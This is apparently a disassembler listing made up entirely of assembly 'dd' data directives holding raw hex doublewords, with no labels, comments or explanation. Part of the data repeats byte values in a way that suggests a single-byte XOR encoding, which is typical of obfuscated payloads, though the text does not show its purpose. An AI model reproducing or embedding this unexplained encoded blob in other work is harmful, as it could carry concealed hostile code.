dd 0CFA01993h, 43BC3448h, 7576EC47h, 0B47F6DA6h, 4EE68968h
dd 3028D5E1h, 8F22C2DBh, 81332455h, 8A989372h, 6389523Bh
dd 3FA488AAh, 5F594DC6h, 880F97AFh, 1EA7E301h, 0AF28EC1Eh
dd 6022BD36h, 4C649EDFh, 65D0115Ch, 9463F321h, 53B44772h
dd 57D017C0h, 7386A955h, 8F624571h, 0AB249D7Eh, 9600D33Ah
dd 0B352BF1Ch, 0D5446495h, 98CC0DC6h, 35D86966h, 0D8CC45E0h
dd 0E4E80B0Eh, 0E100173Ah, 0F522F312h, 0C154B544h, 0B558D114h
dd 41EBC66h, 5705F6D2h, 6CAC65B4h, 4037C4E3h, 6BE56052h
dd 87B5F4F2h, 1A1CD51Eh, 0BF38B6ABh, 7EA722CDh, 0E77004E3h
dd 9601053Eh, 2FE8322Ch, 0DE49DD49h, 67A04131h, 77698ABCh
dd 7718D123h, 0BB34AD30h, 0BC3FA60Eh, 813C952Bh, 63E17713h
dd 7DC17AF3h, 22B555D3h, 9C8C558Fh, 3FD1E17Fh, 0F910406h
dd 0E730E90Bh, 0B96CAF6Ah, 0ABFD1EA5h, 8E84BD5Ch, 18D54652h
dd 15BE5F38h, 350CDA9Ch, 6A1C3FE7h, 0C4108902h, 0D149E17Bh
dd 0BD18A64Fh, 870DAB3Fh, 7E59E17h, 0B709EAD8h, 0B4B87183h
dd 0D821B02h, 88A73FB2h, 0D326A96Bh, 0BFEC221Ah, 4FD14261h
dd 8D60997Bh, 0FC7E9F6Eh, 5FB1AD1Fh, 3A9C94A6h, 7C4749C2h
dd 57E0EC3Fh, 1AF7D6AEh, 0AB64B712h, 62C34F01h, 0E31CFFD2h
dd 2FA56Ah, 5BBE0513h, 4370ACA2h, 0AD4F03E2h, 900613DEh
dd 0E10C5982h, 580AF312h, 8316B5BBh, 0AB98544Ah, 2D9C7EBAh
dd 24900986h, 34FB457h, 6554C483h, 43915D96h, 975CB873h
dd 0F74C950Eh, 0EF69E77Ah, 4EAB9E16h, 0F730C0D6h, 67D5C5FBh
dd 0BDCDE95h, 0D741B2BEh, 8FE019F8h, 7C038865h, 1B8D6E59h
dd 5034ED0Fh, 0FF9448DAh, 0A46CE55Fh, 260C9485h, 0BE5B1DD6h
dd 47801036h, 9C27CB27h, 7FF87115h, 0A84E8D06h, 0E661F8EBh
dd 0D34DAD6Fh, 2BE3E15Eh, 7EEAD27h, 0E4F2DD19h, 17CA50F8h
dd 0A038B9CAh, 0EE799219h, 97509DFEh, 0E37DF44Ch, 0E6C054C5h
dd 2FE7DD16h, 0F80B3A52h, 23C44DD6h, 3FB82FA8h, 5BD45DD8h
dd 77F069E3h, 930C85FEh, 0AF28A11Ah, 3417EB67h, 0A74949C7h
dd 0AF255E6Eh, 0E4EDD10Eh, 6777C344h, 32A32880h, 16810490h
dd 0E56ACE9Eh, 0D850FE73h, 0A425EA6Eh, 9135833Ah, 9378841Eh
dd 78E679F5h, 5BB05DC3h, 3FBE31CDh, 2CE80FBFh, 0FF651884h
dd 0CB49DF77h, 803CF44Bh, 0AB39B438h, 971DAB03h, 67F144E7h
dd 54C24CEEh, 3D8B41FBh, 0E903CB3h, 0E46F0BA2h, 0E26FE66Bh
dd 0DA4AF22Ah, 8931B927h, 831F8407h, 61E4511Bh, 2FCC40FFh
dd 2AA14FF5h, 0FB43CA6h, 0E79D109Ch, 0FA6AD20Ah, 0EF51D947h
dd 0BF3CA62Dh, 0C01C893Bh, 6EE65248h, 44CC6EE6h, 3F8539C6h
dd 0B8821A7h, 1B991498h, 0EF71CA06h, 0D25CC064h, 0A138B17Fh
dd 9B1D8333h, 0BC58E13h, 61D47CD5h, 10D959C7h, 5FBD2BA3h
dd 3D8008A1h, 0C375E56Bh, 0B349C877h, 823CA47Dh, 8711B939h
dd 6BE9BF17h, 4EFD5BEBh, 78B870CFh, 349939A3h, 129C1C86h
dd 0F762E4B6h, 0AF69C476h, 9830D871h, 8214AA2Bh, 7115B103h
dd 70EC72EFh, 3BF554D4h, 3A42C85h, 359C08BBh, 0C16DED93h
dd 0EA41F077h, 0B325FE32h, 9331B01Ah, 970C903Ah, 7ED30DC7h
dd 45D57FD6h, 3DA32CCDh, 1B8D26DAh, 0F87618A0h, 0E24EF67Bh
dd 843CF456h, 0B00EA52Fh, 9E19980Ah, 78F667CBh, 47CD48ECh
dd 0EA62ED3h, 4881AD6h, 0C66C1890h, 0C073F962h, 0DE57FD2Ah
dd 0B93D8122h, 8E028810h, 72C1053Fh, 4AC177EAh, 0DA272C1h
dd 678535BBh, 0ED9905A1h, 0FA74F84Ch, 0CB44CC6Bh, 9637A72Bh
dd 961CAA5Eh, 60FA5114h, 58D778F5h, 28B269B2h, 10AF30ADh
dd 16BE43D9h, 9B60FE74h, 0D45FDB72h, 0E03FB65Bh, 970DAF68h
dd 6ED6FD02h, 4EE67DF3h, 10BC50C2h, 369E25AFh, 0FB5088Ah
dd 0F579FB76h, 0C049D16Bh, 0AA1BC17Bh, 870D9B22h, 6EEFA917h
dd 51F961E0h, 4BDD62AAh, 3EB82480h, 129D00B6h, 0F660D6FEh
dd 0FA28D17Fh, 0BB25D058h, 9005B004h, 6A3A9321h, 499874E6h
dd 4EC05FCFh, 3B9125A3h, 738F0AB2h, 0FB61F3ADh, 0C74DDB73h
dd 0B30EB957h, 9636B10Fh, 8D288519h, 77FD7BEFh, 44D54EC7h
dd 36A72AEAh, 1BA661B4h, 0EA610FB5h, 0CE66FC66h, 8D3CD042h
dd 0BA2A923Eh, 0AB119907h, 72F366F0h, 7DAC56EDh, 2ABA02CEh
dd 3B8129B7h, 0E2631680h, 0DB59E67Dh, 0FC4CFF2Ah, 0AF35A834h
dd 9415BA07h, 7DE36C0Ah, 62DC6F9Ah, 22924DD7h, 1AF2EB7h
dd 0F79F10BDh, 9F76FE63h, 0CB7BD968h, 0A500A727h, 80098631h
dd 64E75509h, 65A473F3h, 22B076C6h, 0B906A0h, 1197189Eh
dd 0CB60C306h, 0D244C650h, 0BA1AB15Dh, 8E1D9528h, 66E1B01Ah
dd 27D96BFDh, 36ED41E0h, 0CA123AFh, 1E801E9Fh, 0F17EC06Fh
dd 0D241D771h, 0A127A84Eh, 0BC109356h, 62F49000h, 57EE7CD8h
dd 72D450DFh, 29BB20A3h, 3A2699Bh, 0FA62D092h, 0CA4CCE79h
dd 0A236C965h, 8834BE3Ch, 6A0F9B2Fh, 76EA65D9h, 6CB44AC8h
dd 23830891h, 69817BFh, 0E36B818Ah, 0D841EE79h, 0A22BDA5Dh
dd 8C3FD53Ah, 9C1D9F04h, 7EF30DF2h, 44DF41D6h, 3DB527CAh
dd 6F8D0CBBh, 0FD671884h, 0C945EA12h, 0AC4FB54Ah, 0AB3DBA29h
dd 8F1AA466h, 72FE7BE7h, 5CC066EAh, 2E8024C9h, 0E8839B8h
dd 0F36E30F2h, 0C672E76Bh, 0CB5DF65Eh, 0B53AA205h, 92048A07h
dd 72F8561Ah, 66A844EEh, 39A149D8h, 28943CBCh, 0C292109Eh
dd 0EB76D80Ah, 0DE5ADF43h, 0B2208636h, 9F1EB030h, 61C1013Bh
dd 45D678E2h, 22924DD7h
dd 0A9A31AFh, 3EF81486h, 0CB55DB42h, 99029A6Bh, 0D300897Ah
dd 0AC0F8408h, 6EF7921Ah, 27D97CD9h, 0CDB50FCh, 14B634BAh
dd 3B11483h, 0F2428943h, 0D659F479h, 0AE1EB848h, 0AE01A83Ah
dd 5580B80Ah, 46CF72EBh, 53D967DEh, 239128B3h, 9E7369A3h
dd 0C2C4AEFBh, 0AF28A172h, 0EF0830DEh, 8D60B351h, 502CA46Bh
dd 0D31314E0h, 6B60A6F6h, 6902396h, 0E613368Ch, 8F48ABB6h
dd 54285995h, 876AEDA7h, 0EB98564Eh, 7AF5A6A9h, 1BD418DFh
dd 5DE0D691h, 0ACC22FBEh, 2FC19D4Fh, 0FFC4F8F6h, 0A548C96Dh
dd 483CB570h, 5458BB9Eh, 933487AAh, 17800982h, 59FE27F4h
dd 11CA29BAh, 6B8E5DD6h, 78502AA3h, 0E336D59Bh, 4061EE2Ah
dd 9B7D49D3h, 838F6C62h, 23018E35h, 0CCA8618Fh, 4B51B0BAh
dd 64E019C2h, 7CAF223Fh, 0AF9D1AD8h, 3634ED0Ch, 0D7483FCDh
dd 0C340D5Eh, 8A03FE85h, 2BE437A2h, 5E83B63Fh, 243455CEh
dd 0F4078E15h, 0DB3EB583h, 0C3F02C22h, 83C34835h, 768E143h
dd 0F47B0244h, 0E4FFDE19h, 43BCDDFBh, 0DE8551CAh, 3BEE6F0Bh
dd 1AD9BA02h, 0F30CF99Bh, 9E1C903Ah, 0BA358D07h, 2E386C8Dh
dd 271B15CEh, 0BB2DCE8Eh, 6D40DEFh, 22F06D20h, 930C8516h
dd 42A9FC1Ah, 0CB04A707h, 72ED2638h, 33CEC92h, 3F5543DAh
dd 3B9E2D82h, 31DC8D41h, 69AEE019h, 0AFC581BAh, 0B16018D1h
dd 0C764B972h, 2001D564h, 0FE12F000h, 686B3E79h, 0B2A5D6A6h
dd 3B3C317Eh, 6FE861D1h, 885FAD7Dh, 12ADA542h, 0C37CAF4Eh
dd 0DE546BC1h, 71FFED66h, 1790088Ah, 0F887DD9Dh, 0BC03CADAh
dd 6E903C70h, 6CF59BB5h, 0ACDB16CCh, 0ECEC3A7Dh, 8F0401CDh
dd 0A521A908h, 8673FA14h, 2FE80BD6h, 0C0C8F935h, 27C99947h
dd 2B5EEEh, 98DF96E0h, 0BBDCAD4Ch, 14539ECBh, 0D9CA7037h
dd 8B8D013Ah, 0EB97159Eh, 0CEDA89F0h, 23F6F35Bh, 0F21A86EAh
dd 65BEEC44h, 74D1DCEBh, 0D34C2D6Bh, 6E35E15Ah, 4B9E0F9Bh
dd 8D3D9292h, 0C0BC7584h, 5FD075B6h, 7B4DE9E9h, 7B918902h
dd 0B32CA716h, 0CE4CA96Eh, 7E9BDD56h, 7C0D092h, 0A711E905h
dd 3FB9358Eh, 5BBE1DC6h, 77F06D0Ah, 0C75ED3FEh, 3AD7F61Ah
dd 0CB0494EAh, 70ED1061h, 37CF46Ah, 1DF240DBh, 53B547F7h
dd 17D049C2h, 0DB799A8Ch, 1908C1D3h, 0F0506B93h, 0C328ED62h
dd 0B45CD54Fh, 0DF5C4595h, 0E4940D84h, 779AA137h, 93491CBEh
dd 7B0B77AEh, 0E1D0F6A6h, 0F071CB12h, 0EBA94A78h, 86589160h
dd 2B012DE3h, 9305F6D4h, 0BEAC65B7h, 189A05EDh, 0E6BC19BCh
dd 87017D65h, 632F3E0Eh, 4C61A140h, 8B049DEDh, 0A720B932h
dd 0A319FA2Ch, 0AEA861B3h, 4BC63572h, 4394A6D2h, 0FB698AE6h
dd 0CC18D120h, 914C38D9h, 150DC902h, 0CDECE55Ah, 49897470h
dd 3E88901Dh, 5E2339F2h, 73DCC043h, 0AEFB71AAh, 1FC67250h
dd 48B8A6E2h, 0DC4CC53Eh, 0EF6811DEh, 31BA7D76h, 0A7E609E7h
dd 0C7B33590h, 5FD8512Bh, 0ED45366h, 0A991CFF3h, 0F462EC4Eh
dd 0C3E34Fh, 0A4659B90h, 6DD13759h, 70CA448Eh, 15C8A455h
dd 608D4D86h, 0C8756623h, 7A0C85FEh, 0AF28A1ABh, 991483B7h
dd 626F8F1Bh, 37CF5CBh, 0B390D709h, 0BFBB209Ah, 57D0495Bh
dd 809945E2h, 8032BD56h, 0AB241193h, 0E74D1432h, 0DE7CF56Eh
dd 8B1D964Bh, 273872F3h, 0B6CC5C82h, 3BECBAC0h, 1E9D15AEh
dd 0FB070377h, 0D20FB628h, 3C7B7346h, 6569DE4Ah, 0FB74CA76h
dd 0E8C2EB75h, 7386390Bh, 1F0872BAh, 83B40D86h, 870079FBh
dd 0CD6BFA4Ah, 0DB59DE46h, 5BC13246h, 7270A948h, 20BA71BEh
dd 852DA853h, 1AC47D9Ch, 67E359BAh, 0D5AD246Ah, 1B8D6E5Ah
dd 3634ED0Ch, 974A25D7h, 3A5FB55Eh, 5DD8502Eh, 0BE5B4CC7h
dd 4780100Ah, 9CF85149h, 3FD1F57Fh, 1BD77506h, 0F725B6AFh
dd 10B5C43Eh, 0EB4CBDD1h, 0B84FD9Eh, 0CA214492h, 43FC2957h
dd 722AEC41h, 0CE7F6DA6h, 9750A4F8h, 3EA75E1Dh, 0CF08ECCCh
dd 6EEF78A5h, 7C0D480h, 0E728005h, 0BABB31EAh, 5B946020h
dd 0FF986B6Bh, 6C0C85EDh, 0EF02BD8Fh, 978D5636h, 8E16BC16h
dd 5320900Dh, 76EB68E2h, 76D84CC5h, 25BF24A7h, 0A1DF65A7h
dd 795A4E71h, 4AA7CFCFh, 0C400D331h, 890E82B7h, 0C8CD7C72h
dd 0A2944D9Bh, 37B029B5h, 0AD814133h, 9179E25h, 0C600F05Dh
dd 0A7209912h, 84B11E48h, 3B6A7A4Eh, 19DF8BCAh, 0F5058479h
dd 67AC65B3h, 0B09A47D0h, 2BCE1543h, 0A374F2F2h, 0BBD81606h
dd 3A3771AFh, 0DB54CCE3h, 0D718E908h, 458C057Fh, 0BA572AF0h
dd 4B8417E6h, 0ECEC0759h, 1E7565A0h, 9F58BCECh, 96DE20AFh
dd 34D1C902h, 0FC93155Eh, 0FE2522Bh, 9E5B1BFCh, 47801450h
dd 4A24C031h, 80A871AAh, 0DB396FB3h, 33A55622h, 8B4C8517h
dd 0E0FB21DFh, 0B85A9F2h, 1C217F92h, 4FC86FE3h, 7F4DAE99h
dd 92F42DCCh, 97108843h, 0B3E41B93h, 7847C13Ah, 9FE9C318h
dd 3E8E643h, 749C158Fh, 1660A455h, 0C824D86h, 5E50FC1Dh
dd 0D08785BEh, 24EBA226h, 1847C566h, 6C40ABD9h, 37F1ED24h
dd 1C3540B9h, 3ACCAC65h, 25B51AA7h, 810E60AAh, 0A6A56AA3h
dd 0D9AFB91Ah, 3443E016h, 0EC4087C5h, 0FC36F5DDh, 99A08655h
dd 793BDAA1h, 0BD79CCB6h, 0E4E821F7h, 6DB146C0h, 0D520D93Fh
dd 25899EADh, 0E4589167h, 0BB5907D3h, 66130682h, 53DA61h
dd 0BD7DC87Ah, 0E2E41DFBh, 0C72D8F7Fh, 0C94CC50Eh, 0BE52E129h
dd 0DB54CD2Eh, 728FBEE2h, 13CC1056h, 600B465h, 0C63B3DF6h
dd 67A04CFAh, 8C038D6Dh, 60E7AA8Eh, 59B124D9h, 0BD50896Fh
dd 0A56C8F5Eh, 1B1DFE2Ah, 0A0A45DBCh, 7EDCF37h, 613C94CEh
dd 7F9221BAh, 0B2E418F9h, 32B9A962h, 0D30CE8C4h, 0EF0235D1h
dd 5BB60224h, 0A42AC6Dh, 0D64335EEh, 5F987BC6h, 5616E86Dh
dd 93998942h, 37B95A3Ah, 44488113h, 5EEFE105h, 7C0D488h
dd 17864105h, 0AA93CF21h, 5B946020h, 5A06E469h, 0B8A185BEh
dd 55CA0AD8h, 0D7B438BBh, 0B631D912h, 522DA53Dh, 36208475h
dd 0C4E42DE6h, 17F9CD57h, 0C9A6DEh, 0EA32ABC0h, 0C746FC78h
dd 877ADD57h, 8F39BD3Dh, 0D14AC206h, 37F861E2h, 64B0188Fh
dd 169816E7h, 1AAB3D97h, 0E5610F84h, 0C94FDA66h, 0AF53C75Ah
dd 832CB419h, 8D068835h, 64F56AEBh, 52C476C2h, 0EAC24C8h
dd 18813EB5h, 0E6502581h, 0C671F47Ch, 0CC4AD45Eh, 0A93D8B1Ah
dd 9B119E07h, 7FE35512h, 73D142F3h, 25A549E5h, 39238B6h
dd 0E59307BEh, 0C37DFD63h, 0D340D867h, 0AD39BB2Dh, 832D813Bh
dd 6CE16D0Ah, 44CD69F7h, 0B9C4ADCh, 63A826A7h, 2BBE3EB9h
dd 0DE46CC51h, 0D459E47Eh, 0BC3FAA4Ch, 0B834953Ch, 64E0931Fh
dd 64FC6AE5h, 26CE47DBh, 3A8E25A4h, 149D1E94h, 0EF55D56Ch
dd 0C143C96Eh, 9B48B35Fh, 8E03AF37h, 74EFB106h, 239E15FAh
dd 3FB8C155h, 29A44DC6h, 1A99118Dh, 0F878EBD0h, 0DF44CF68h
dd 0A52D9357h, 0A960B634h, 2337B627h, 78EF66EFh, 58C440CEh
dd 12831CC8h, 398D458Ch, 0AF46C8B5h, 0D94DEB30h, 0CD73CC46h
dd 0E35C3D1Bh, 7E25F16Ah, 5BB46F6Bh, 2835EFA2h, 53CC05ABh
dd 460CF425h, 63C57DB6h, 0CD1CED0Dh, 5B893E30h, 86589163h
dd 8E5AD1CAh, 29116FA8h, 10D93861h, 6568FC37h, 1D6F5D96h
dd 0E1A52EF0h, 6F9918ABh, 3038F102h, 9B7C3FC3h, 0B1F91362h
dd 0EDC28984h, 0CDA99061h, 0C698D679h, 27F50057h, 839625EEh
dd 0AE79F60h, 0BB7484DAh, 0DF74B5C1h, 1B28905Ah, 0F880172h
dd 5E75BC5h, 478C75F6h
dd 4A08C031h, 0BFF371AAh, 0F1879F72h, 22CFFA20h, 0D30CECAEh
dd 7FB31A5h, 0F47B0405h, 27A0127Ah, 0FA66AEh, 718B1E95h
dd 7BB821A2h, 0BEC41CFDh, 0EBC4A55Eh, 27B73EC3h, 0EB64DD5Dh
dd 55C5AA27h, 67B227BDh, 0C0B87DE6h, 1BFDB953h, 77FA81E2h
dd 0E07B85FEh, 0C141D36Ah, 0CB05DB42h, 77F52602h, 8A7CB547h
dd 5FB18D0Fh, 0B68522A6h, 17C8AA4Fh, 0D569ECDEh, 0DE08C1D0h
dd 82D008E9h, 0AFD3B972h, 0E35CD54Ah, 0E78844E7h, 96CD0DC6h
dd 779AA51Fh, 0A00EADBEh, 0A88E9E25h, 0CB245D73h, 24709912h
dd 831C978Bh, 4AD5D14Ah, 0FB34F286h, 16FA5DD2h, 5BFE25F4h
dd 0CFC841B8h, 4174C829h, 478579B2h, 2E3EE054h, 0FF18A2A7h
dd 0DD3E9F46h, 0D7505CEFh, 45D8053Eh, 7DF971CAh, 6150A849h
dd 98B85992h, 0C3D6F97Bh, 329D570Ah, 0BB34ED0Ah, 28A3FDAAh
dd 0BFE11AA1h, 0C8884168h, 6BB0E113h, 18946FB2h, 90C3BDFDh
dd 0FA3F8E15h, 9B5499FAh, 836FFD74h, 2CBFD5D6h, 13ED26A5h
dd 5D84BD62h, 0CF9446EAh, 0BC43C6AFh, 4B24D40Dh, 1EA26DA6h
dd 5E23DD74h, 9ED22093h, 9E19C17Ah, 0BA348C07h, 927FA823h
dd 23DC3C62h, 165CA455h, 0B3154D86h, 9F841CFDh, 930C85F2h
dd 0F864E949h, 0E50DED77h, 0E72C9516h, 2A886091h, 137011CAh
dd 68B42DA6h, 23B51A8Ah, 6800488h, 0DF08C09Fh, 82B408E9h
dd 4AD3B972h, 0A3767BFBh, 0FFB0996Ah, 71C20D86h, 0E725D6A2h
dd 0DECC0597h, 2FF72F4Fh, 0FDB9F0F6h, 0F120D939h, 56C3E27Ch
dd 0DF18F8D6h, 767829E5h, 578F6217h, 59FB759Eh, 279A17BBh
dd 0EBE45DD4h, 28E8AA0Dh, 20E36AF4h, 0FF2C5397h, 0D020CD46h
dd 0F763610Ah, 0F19FA7Eh, 0C7A861B0h, 4BC43DBAh, 24AF0A85h
dd 0ADCE46A5h, 9F54DD4Eh, 92C038D9h, 0BFC3C902h, 0F36CE559h
dd 17CFB4F7h, 0A6FD1DD6h, 7EA650Fh, 918EBDCEh, 73108E15h
dd 0CC148D06h, 0F979E76Bh, 9762917Bh, 1068AD16h, 4BAD09E3h
dd 28609C92h, 43BE002Ah, 5AB0C2CAh, 0F6F46DE6h, 0D7080CB7h
dd 0EA1FC1Eh, 0CF08EB42h, 1496C6BEh, 7B3D7A8Dh, 239C55A4h
dd 3DA8B5A5h, 0B7554DC6h, 77F06872h, 920DEDAAh, 3AD7A11Ah
dd 0CB04976Ah, 0E6F01DD3h, 882CF56Eh, 4D987B5Eh, 11C8B859h
dd 97554982h, 1BE11087h, 8F089272h, 813808E9h, 25ABB972h
dd 0C37E68CDh, 8A78F12Ah, 3D1180AFh, 67B06982h, 79A4D041h
dd 0AF6D619Ah, 8A8DF9F9h, 0E7AB9912h, 3C3C3E22h, 0FDDD5E7Ah
dd 3D74AD46h, 57BCA407h, 33C6249Eh, 4DA240D0h, 4190C829h
dd 7F8379B2h, 0C3989AF1h, 2C38B12Bh, 0FB4A58CBh, 0E71AE922h
dd 8673562Ch, 2FE80BFEh, 0CECBFD33h, 67E05892h, 0A3BCC863h
dd 97A9914Ah, 44C3AECEh, 0D7C4A1BDh, 0D832E55Eh, 2BBC889Ch
dd 0C331E2C2h, 0CAC0799Bh, 23FC1B73h, 97F9C0EAh, 64EB7BE2h
dd 970B3CAFh, 0D326C57Eh, 0EF68F532h, 0F4D7AF76h, 678A6907h
dd 67F8B8AEh, 0A14DDCDEh, 2BF42DCBh, 1C1A3F0Dh, 7238815Ah
dd 854AC9DAh, 0E92ECF57h, 0C83B360h, 0A39431CAh, 0DF793E4Bh
dd 1FDF1CCEh, 450F79C6h, 3DB108AEh, 4728E130h, 0CB44BD2Ah
dd 9F56F777h, 2D5CDB4Eh, 3ABD2BAAh, 438C0383h, 72F031E7h
dd 3CA66FADh, 8F28CFB3h, 37B16241h, 4640F91Bh, 0E35C798Ah
dd 0AF789B6Ah, 8E6B5ED1h, 37F003D2h, 472EC835h, 6F82619Ah
dd 426F6615h, 0A2C8C81Fh, 0E53CB52Eh, 0DF52B56Fh, 67E11231h
dd 949049ABh, 0D8FC295Ah, 4FC029B1h, 0D6695DD6h, 874059A6h
dd 36E3C659h, 0BF789B5Ah, 8F2A0DC3h, 0DDDE5CEFh, 0B60F053Eh
dd 2FE83578h, 0E649B0B6h, 4CE019FEh, 0D2FC1F20h, 0AE7C25Ch
dd 0BB74874Ah, 0A95031C1h, 0DE77471h, 2526B4F7h, 26141DD6h
dd 57B59740h, 9530BDAEh, 0D998E15h, 161D6E11h, 5DDBA855h
dd 1D670AB5h, 0C5C65CD7h, 0AF77FD36h, 9E4BEE15h, 2329CAFDh
dd 0DFD811E0h, 3BE1725Bh, 0BD648802h, 0B3599576h, 0D3DD3E3Ah
dd 6B649D7Ch, 47AC54CFh, 32E8158Eh, 1F9AB46Dh, 5BD44D86h
dd 0F23669E2h, 934CA953h, 5120481Ah, 91942C9h, 52EDD956h
dd 33CD9C0h, 0DB0DEEDCh, 0B8B46D8Fh, 0D3DFB63Ah, 73EC6565h
dd 0A2BA0473h, 0AB4E9D56h, 0D7D54664h, 665C9564h, 5BFCFEAAh
dd 30940D86h, 5DE07962h, 52A615BDh, 6FE861B2h, 1EFB2B36h
dd 0A760B0BAh, 0CCC34DADh, 0DF5BD7CEh, 4DF16466h, 9A9049AFh
dd 73819F13h, 8D5DCCBAh, 3AE41DFBh, 0D70013A0h, 8AD000F1h
dd 47BBB16Ah, 0FD0C2B9h, 9D70E960h, 0A539FA7Eh, 0D0A861B7h
dd 0BEDF523h, 9818DAD2h, 8141F1E1h, 1A91910Ah, 0BB7480ECh
dd 14530071h, 993DB50Fh, 0BA77507Eh, 2BE43020h, 6E6CAC4Dh
dd 0A359558Eh, 7D61F5E5h, 52278D06h, 9AFE2CABh, 821DC57Eh
dd 0EF77890Bh, 0F4D4FD79h, 6789E107h, 4C7CB0AEh, 5FDA034Eh
dd 0A971E4E6h, 5410C92Fh, 0B14EE95h, 0CF489F3Bh, 2A670F65h
dd 0E6770885h, 0E429007h, 743331EAh, 4257F5FAh, 0A5C369E2h
dd 62FB44FDh, 2AA140EDh, 0CB0490E0h, 0ACD7D691h, 359F0C68h
dd 10804207h, 38A06E11h, 96BB0012h, 0F23C66F6h, 0E67FDEC0h
dd 0B5506478h, 0CB3A3A7Bh, 6883A74Fh, 0BDF3CD21h, 0BD60E92h
dd 0C8F86D2Fh, 92EF9C49h, 4222E4E1h, 0D2C77DB6h, 0AB04DD99h
dd 0C3843DA7h, 1F6BD14Ah, 10BB66A5h, 0B92D8489h, 0CFAC65B2h
dd 86FB9E31h, 1985617Ah, 0F07A45F4h, 93CB90Ch, 534CED16h
dd 620E37Ah, 1F05E95Eh, 1207CD9Dh, 6AF064A7h, 76CF49B6h
dd 67B21A81h, 7CB5F0E1h, 9C936EF5h, 0F57DFA1Bh, 0EBD4C601h
dd 0CE931AA1h, 41DD422Dh, 0D4959999h, 10FDC64Dh, 6CEE668Dh
dd 8007576Eh, 0C844B0F9h, 333FE676h, 2CB33A25h, 0AC803A69h
dd 47B0288h, 0D85F1716h, 0AB6E0651h, 5FD851DCh, 840B030Eh
dd 971061FDh, 3271A51Eh, 8F6FCFD7h, 0EA7F3456h, 0F8E4F972h
dd 0F1299EBCh, 5BB87187h, 0DAB26F4Fh, 78AA24DCh, 930D817Bh
dd 93762A1Ah, 4A226335h, 0E8258969h, 37C01EBh, 9DBE68Ah
dd 3BB40DA6h, 5737CCCDh, 301A65DEh, 0B0783A6h, 0AB249DCBh
dd 0E760C7B3h, 0EC7CF56Eh, 0FF7821EEh, 0E55BE586h, 0B5BFD65Dh
dd 53CC457Bh, 0E4E02351h, 4A2F6DBCh, 67139D61h, 0B3FB0C5h
dd 56489BC3h, 0BB5937E3h, 0E9EEE182h, 9844DA61h, 0C4C841BAh
dd 2BC98B4Bh, 5D9D7AF2h, 4B1CD523h, 40C74CBCh, 0DBDF4949h
dd 42FBE962h, 13CC28ACh, 2C947F11h, 0B5BBD568h, 1E92A62Dh
dd 0E3D83F6Fh, 14F8910Ah, 0C137FBD8h, 0D7E54456h, 0F06CA54Eh
dd 6E311100h, 7CA41D90h, 47719C41h, 0C72F572Dh, 70AA2FB5h
dd 1C991F37h, 0B730A9B9h, 2C2655B6h, 0E0801EA5h, 517B029Eh
dd 24AC5319h, 23125E4h, 779B7ACFh, 0BCD52A6Fh, 0B730A944h
dd 0F8A5853Eh, 0DF024A12h, 0C6B258DDh, 4DB9F932h, 0AA9F6686h
dd 7DB939E0h, 3B7CED6h, 0A975E2E2h, 920CC5D3h, 0EC29A958h
dd 0AF968E66h, 6804FBD9h, 0BEFFAD6Ch, 1FD83C3Ch, 0FB3022A6h
dd 0A82FB63Fh, 33C1B76Bh, 0AF9D7EFAh, 5424DD3Ch, 876D7787h
dd 67C92A4Eh, 7278B143h, 5BB9B70Bh, 0F525A4A2h, 2CC0593h
dd 90E80B88h, 0CB29CB43h, 0BFB56612h, 3C3CF504h, 9F7567FFh
dd 7FE11266h, 9A9049ABh, 73808B2Bh, 0FD7DBEBAh, 3DE41DFBh
dd 0AD10EC0Dh, 69F954Eh, 0BF789C9Ch, 0DBBC0E46h, 0AA70E962h
dd 0FE0D0414h, 2FE80931h, 8ACBCDEEh, 27F57157h, 403CF0EEh
dd 6FE75989h, 93B16C29h, 14508957h, 0D96CF563h, 6994747Ah
dd 27806117h, 54B548DEh
dd 9C18BDAEh, 7A8D8E15h, 64E92DEEh, 48E241DDh, 0FD2D3AC1h
dd 75C8CCA5h, 2E3C7FD5h, 47A01992h, 0BC439046h, 0D4E12435h
dd 0F6C449A2h, 0D73C27B7h, 0BB7C2E1Eh, 0C972405Ch, 0BD41AE54h
dd 0F880F91Ah, 49589E8Eh, 0C0E863AAh, 1BFE1553h, 7F34EAE2h
dd 0AC50BB7Fh, 0AC5DFD25h, 23407BB5h, 189F241Fh, 0FC838A86h
dd 0A75B7075h, 3BB42D89h, 57D0592Ah, 73CCA7DEh, 8F08B142h
dd 0AB277516h, 0E382B932h, 0C708584Eh, 7C563C66h, 2E80D7Eh
dd 37B0C1C2h, 74745BEh, 0E4B551FEh, 0E5E9FCECh, 4F20D93Bh
dd 3CC35ACFh, 0DF5C132Bh, 1Fh dup(0)
dd 3535DDA5h, 31BE3535h, 1EB5C211h, 35353511h, 0BCB53535h
dd 351C99ADh, 1169BE35h, 0C9184131h, 8585BC6Ch, 0BC35351Ch
dd 351C818Dh, 1A8DB535h, 0DD353511h, 0AD363840h, 35351105h
dd 0CA376EBEh, 0BE3DDE06h, 351104ADh, 6E06CA35h, 59B4A060h
dd 2F333111h, 0D6B43535h, 0CACAC535h, 2533D8B4h, 49BE3575h
dd 80B83111h, 35750109h, 3535888Ch, 0B491C635h, 5D617B4Eh
dd 3840465Ch, 0B80976BEh, 0B4532D31h, 4170650Dh, 35DEB43Dh
dd 40353534h, 4D65BED7h, 47BEE636h, 2D7FBE15h, 9864C636h
dd 4DB4F636h, 507235CAh, 0B42E4041h, 4765364Dh, 2740565Ah
dd 74324DB4h, 40475151h, 3E4DB43Ch, 35464650h, 0E2D73041h
dd 1CF6686Ch, 47BE1139h, 0C6366C11h, 7B31823Ah, 36294FBEh
dd 0B201BECEh, 39DDC636h, 76353535h, 50465A59h, 515B547Dh
dd 66355059h, 0B0BCE3CAh, 35750009h, 353538DDh, 50477635h
dd 70504154h, 415B5043h, 0CA663574h, 75B0BCE3h, 0DD357500h
dd 35353538h, 79415072h, 70414654h, 475A4747h, 0E3CA6635h
dd 71B0BCh, 45DD3575h, 0B0353535h, 651441F5h, 71A0CAh
dd 0F5B03575h, 0B0B82540h, 357524E7h, 0DDCA65BFh, 3535355Bh
dd 0A0CA49DEh, 35750009h, 104B0C2h, 35353575h, 2B41B535h
dd 10080B8h, 49BE3575h, 90913111h, 0C87A8BEh, 80BE3575h
dd 35750C83h, 0C8F88BEh, 0F6683575h, 5F355F6Fh, 5F355F35h
dd 35345D35h, 0F1BE3531h, 5F65355Fh, 0CAF1BE39h, 6A6163D7h
dd 6353506h, 0CAEFDDFCh, 0A0B8CACAh, 35752494h, 65646467h
dd 75A0CAh, 0F1B63575h, 0C7BFF615h, 35176A8Ch, 75250535h
